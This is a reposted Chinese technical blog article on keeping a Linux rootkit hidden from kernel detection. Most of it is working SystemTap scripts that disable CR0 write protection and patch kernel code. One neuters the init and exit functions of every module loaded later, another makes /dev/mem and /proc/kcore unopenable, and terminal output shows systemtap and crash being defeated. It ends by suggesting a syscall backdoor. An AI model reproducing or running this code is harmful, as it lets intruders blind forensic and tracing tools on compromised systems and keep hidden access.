0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Linux Rootkit如何避开内核检测的

Linux阅码场 ? 来源:Linuxer ? 2020-06-03 15:56 ? 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

Rootkit在登堂入室并得手后,还要记得把门锁上。

如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持低调静悄悄,这个话题我已经谈过了,诸如进程摘链,TCP链接摘链潜伏等等,详情参见:https://blog.csdn.net/dog250/article/details/105371830

https://blog.csdn.net/dog250/article/details/105394840

然则天网恢恢,疏而不漏,马脚总是要露出来的。如果已经被怀疑,如何反制呢?

其实第一时间采取反制措施势必重要!我们需要的只是占领制高点,让后续的侦测手段无从开展。

我们必须知道都有哪些侦测措施用来应对Rootkit,常见的,不外乎以下:

systemtap,raw kprobe/jprobe,ftrace等跟踪机制。它们通过内核模块起作用。

自研内核模块,采用指令特征匹配,指令校验机制排查Rootkit。

gdb/kdb/crash调试机制,它们通过/dev/mem,/proc/kcore起作用。

和杀毒软件打架一样,Rootkit和反Rootkit也是互搏的对象。无论如何互搏,其战场均在内核态。

很显然,我们要做的就是:

第一时间封堵内核模块的加载。

第一时间封堵/dev/mem,/proc/kcore的打开。

行文至此,我们应该已经可以说出无数种方法来完成上面的事情,对我个人而言,我的风格肯定又是二进制hook,但这次我希望用一种正规的方式来搞事情。

什么是正规的方式,什么又是奇技淫巧呢?

我们知道,Linux内核的text段是在编译时静态确定的,加载时偶尔有重定向,但依然保持着紧凑的布局,所有的内核函数均在一个范围固定的紧凑内存空间内。

因此凡是往超过该固定范围的地方进行call/jmp的,基本都是违规,都应该严查。换句话说,静态代码不能往动态内存进行直接的call/jmp(毕竟静态代码并不知道动态地址啊),如果静态代码需要动态的函数完成某种任务,那么只能用回调,而回调函数在指令层面是要借助寄存器来寻址的,而不可能用rel32立即数来寻址。

如果我们在静态的代码中hack掉一条call/jmp指令,使得它以新的立即数作为操作数call/jmp到我们的动态代码,那么这就是一个奇技淫巧,这就是不正规的方式。

反之,如果我们调用Linux内核现成的接口注册一个回调函数来完成我们的任务,那么这就是一种正规的方式,本文中我将使用一种基于内核通知链(notifier chain)的正规技术,来封堵内核模块。

下面步入正题。

首先,我们来看第一点。下面的stap脚本展示了如何做:

#!/usr/bin/stap -g

// dismod.stp

%{

// 我们利用通知链机制。

// 每当内核模块进行加载时,都会有消息在通知链上通知,我们只需要注册一个handler。

// 我们的handler让该模块“假加载”!

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 为了避免校准rel32调用偏移,直接使用汇编

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模块的init函数换成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模块的exit函数换成"return;" 防止侦测模块在exit函数中做一些事情。

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function dismod()

%{

int ret = 0;

// 正规的方法,我们可以直接从vmalloc区域直接分配内存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notifier register failed ");

return;

}

%}

probe begin

{

dismod();

exit();

}

现在,让我们运行上述脚本:

[root@localhost test]# ./dismod.stp

[root@localhost test]#

我们的预期是,此后所有的模块将会“假装”成功加载进内核,但实际上并不起任何作用,因为模块的_init函数被短路绕过,不再执行。

来吧,我们写一个简单的内核模块,看看效果:

// testmod.c

#include

noinline int test_module_function(int i)

{

printk("%d ", i);

// 我们的测试模块非常狠,一加载就让内核panic。

panic("shabi");

}

static int __init testmod_init(void)

{

printk("init ");

test_module_function(1234);

return 0;

}

static void __exit testmod_exit(void)

{

printk("exit ");

}

module_init(testmod_init);

module_exit(testmod_exit);

MODULE_LICENSE("GPL");

如果我们在没有执行dismod.stp的情况下加载上述模块,显而易见,内核会panic,万劫不复。但实际上呢?

编译,加载之:

[root@localhost test]# insmod ./testmod.ko

[root@localhost test]# lsmod |grep testmod

testmod 12472 0

[root@localhost test]# cat /proc/kallsyms |grep testmod

ffffffffa010b027 t testmod_exit [testmod]

ffffffffa010d000 d __this_module [testmod]

ffffffffa010b000 t test_module_function [testmod]

ffffffffa010b027 t cleanup_module [testmod]

[root@localhost test]# rmmod testmod

[root@localhost test]#

[root@localhost test]# echo $?

0

内核什么也没有打印,也并没有panic,相反,模块成功载入,并且其所有的符号均已经注册成功,并且还能成功卸载。这意味着,模块机制失效了!

我们试试还能使用systemtap么?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork "); }'

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.

WARNING: /usr/bin/staprun exited with status: 1

Pass 5: run failed. [man error::pass5]

看来不行了。

假设该机制用于Rootkit的反侦测,如果想用stap跟踪内核,进而查出异常点,这一招已经失效。

接下来,让我们封堵/dev/mem,/proc/kcore,而这个简直太容易了:

#!/usr/bin/stap -g

// diskcore.stp

function kcore_poke()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;即返回错误!也就意味着“文件不可打开”。

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 这次我们俗套一把,不用text poke,借用更简单的CR0来完成text的写。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

// text内存已经可写,直接用memcpy来吧。

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

probe begin

{

kcore_poke();

exit();

}

来吧,我们试一下crash命令:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem

...

This program has absolutely no warranty. Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS] (dumpfile form)

crash [OPTION]... [NAMELIST] (live system form)

Enter "crash -h" for details.

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore

...

crash: /proc/kcore: Operation not permitted

...

哈哈,完全无法调试live kernel了!试问如何抓住Rootkit现场?

注意,上面的两个机制,必须让禁用/dev/mem,/proc/kcore先于封堵模块执行,不然就会犯形而上学的错误,自己打自己。上述方案仅做演示,正确的做法应该是将它们合在一起:

#!/usr/bin/stap -g

// anti-sense.stp

%{

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 为了避免校准rel32调用偏移,直接使用汇编。

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模块的init函数换成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模块的exit函数换成"return;"

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function diskcore()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 这次我们俗套一把,不用text poke,借用更简单的CR0来完成text的写。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

function dismod()

%{

int ret = 0;

// 正规的方法,我们可以直接从vmalloc区域直接分配内存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

printk("notify addr:%p ", _dismod_module_notify);

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notify register failed ");

return;

}

%}

probe begin

{

dismod();

diskcore();

exit();

}

从此以后,若想逮到之前的那些Rootkit,你无法加载内核模块,无法crash调试,无法自己编程mmap /dev/mem,重启吧!重启之后呢?一切归于尘土。

然而,我们自己怎么办?这将把我们自己的退路也同时封死,只要使用电压冻结住内存快照,离线分析,真相必将大白!我们必须给自己留个退路,以便捣毁并恢复现场后,全身而退,怎么做到呢?

很容易,还记得在文章“Linux动态为内核添加新的系统调用”中的方法吗?我们封堵了前门的同时,以新增系统调用的方式留下后门,岂不是很正常的想法?

是的。经理也是这样想的。

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • TCP
    TCP
    +关注

    关注

    8

    文章

    1410

    浏览量

    81684
  • rootkit
    +关注

    关注

    0

    文章

    8

    浏览量

    2867

原文标题:Linux Rootkit如何避开内核检测的

文章出处:【微信号:LinuxDev,微信公众号:Linux阅码场】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    如何将 GPIO PWM 和 GPIO Capture 驱动程序导入 Linux 内核,实现 PWM 输出并检测引脚的变化状态?

    如何将 GPIO PWM 和 GPIO Capture 驱动程序导入 Linux 内核,实现 PWM 输出并检测引脚的变化状态
    发表于 08-20 08:20

    Linux内核参数调优方案

    在高并发微服务环境中,网络性能往往成为K8s集群的瓶颈。本文将深入探讨如何通过精细化的Linux内核参数调优,让你的K8s节点网络性能提升30%以上。
    的头像 发表于 08-06 17:50 ?305次阅读

    如何配置和验证Linux内核参数

    Linux系统运维和性能优化中,内核参数(sysctl)的配置至关重要。合理的参数调整可以显著提升网络性能、系统稳定性及资源利用率。然而,仅仅修改参数是不够的,如何验证这些参数是否生效同样关键。
    的头像 发表于 05-29 17:40 ?421次阅读

    Linux内核编译失败?移动硬盘和虚拟机的那些事儿

    Linux开发中,编译内核是一项常见任务,但不少开发者在移动硬盘或虚拟机环境下尝试时会遭遇失败。本文将简要探讨这些问题的成因,并介绍一些虚拟机使用技巧,帮助大家更好地应对相关问题。在移动硬盘里编译
    的头像 发表于 04-11 11:36 ?461次阅读
    <b class='flag-5'>Linux</b><b class='flag-5'>内核</b>编译失败?移动硬盘和虚拟机的那些事儿

    树莓派4 性能大比拼:标准Linux与实时Linux 4.19内核的延迟测试

    引言本文是对我之前关于RaspberryPi3同一主题的帖子的更新。与之前的帖子一样,我使用的是随Raspbian镜像提供的标准内核,以及应用了RT补丁的相似内核版本。对于实时版,我
    的头像 发表于 03-25 09:39 ?449次阅读
    树莓派4 性能大比拼:标准<b class='flag-5'>Linux</b>与实时<b class='flag-5'>Linux</b> 4.19<b class='flag-5'>内核</b>的延迟测试

    基于OpenSBI的linux nommu实现

    Linux内核6.10提供了对没有mmu的riscv处理器工作在S模式下的内核的支持,本文介绍基于OpenSBI的linuxnommu的实现,供大家参考。1、OpenSBI介绍SBI
    的头像 发表于 02-08 13:43 ?816次阅读
    基于OpenSBI的<b class='flag-5'>linux</b> nommu实现

    AN-348: 避开无源元件的陷阱

    电子发烧友网站提供《AN-348: 避开无源元件的陷阱.pdf》资料免费下载
    发表于 01-13 15:14 ?0次下载
    AN-348: <b class='flag-5'>避开</b>无源元件的陷阱

    腾讯云内核团队修复Linux关键Bug

    腾讯云操作系统(Tencent OS)内核团队近日在Linux社区取得了显著成果。他们提交的两项改进方案,成功解决了自2021年以来一直困扰众多一线厂商,并在近期让多个Linux顶级
    的头像 发表于 12-31 10:58 ?754次阅读

    嵌入式学习-飞凌嵌入式ElfBoard ELF 1板卡-Linux内核移植之内核简介

    学到本章节,大家应该对Linux操作系统都有了一定的了解,但可能还不知道我们拿到手的内核源码都经历了什么。linux有一个庞大的开源社区,每个人都可以向开源社区提交代码。由于linux
    发表于 12-16 13:08

    飞凌嵌入式ElfBoard ELF 1板卡-Linux内核移植之内核简介

    学到本章节,大家应该对Linux操作系统都有了一定的了解,但可能还不知道我们拿到手的内核源码都经历了什么。linux有一个庞大的开源社区,每个人都可以向开源社区提交代码。由于linux
    发表于 12-13 09:03

    Linux系统中shell命令解析

    shell是Linux系统的用户界面,提供了用户与内核交互的一种接口,它接收用户输入的命令并到送到内核去执行,因此也被称为Linux的命令解释器。
    的头像 发表于 11-05 15:40 ?1066次阅读

    deepin社区亮相第19届中国Linux内核开发者大会

    中国 Linux 内核开发者大会,作为中国 Linux 内核领域最具影响力的峰会之一,一直以来都备受瞩目。
    的头像 发表于 10-29 16:35 ?1038次阅读

    linux内核中通用HID触摸驱动

    linux内核中,为HID触摸面板实现了一个通用的驱动程序,位于/drivers/hid/hid-multitouch.c文件中。hid触摸驱动是以struct hid_driver实现,首先定义一个描述hid触摸驱动的结构mt_driver。
    的头像 发表于 10-29 10:55 ?2741次阅读
    <b class='flag-5'>linux</b><b class='flag-5'>内核</b>中通用HID触摸驱动

    详解linux内核的uevent机制

    linux内核中,uevent机制是一种内核和用户空间通信的机制,用于通知用户空间应用程序各种硬件更改或其他事件,比如插入或移除硬件设备(如USB驱动器或网络接口)。uevent表示“用户空间
    的头像 发表于 09-29 17:01 ?2207次阅读

    linux驱动程序如何加载进内核

    Linux系统中,驱动程序是内核与硬件设备之间的桥梁。它们允许内核与硬件设备进行通信,从而实现对硬件设备的控制和管理。 驱动程序的编写 驱动程序的编写是Linux驱动开发的基础。在编
    的头像 发表于 08-30 15:02 ?1246次阅读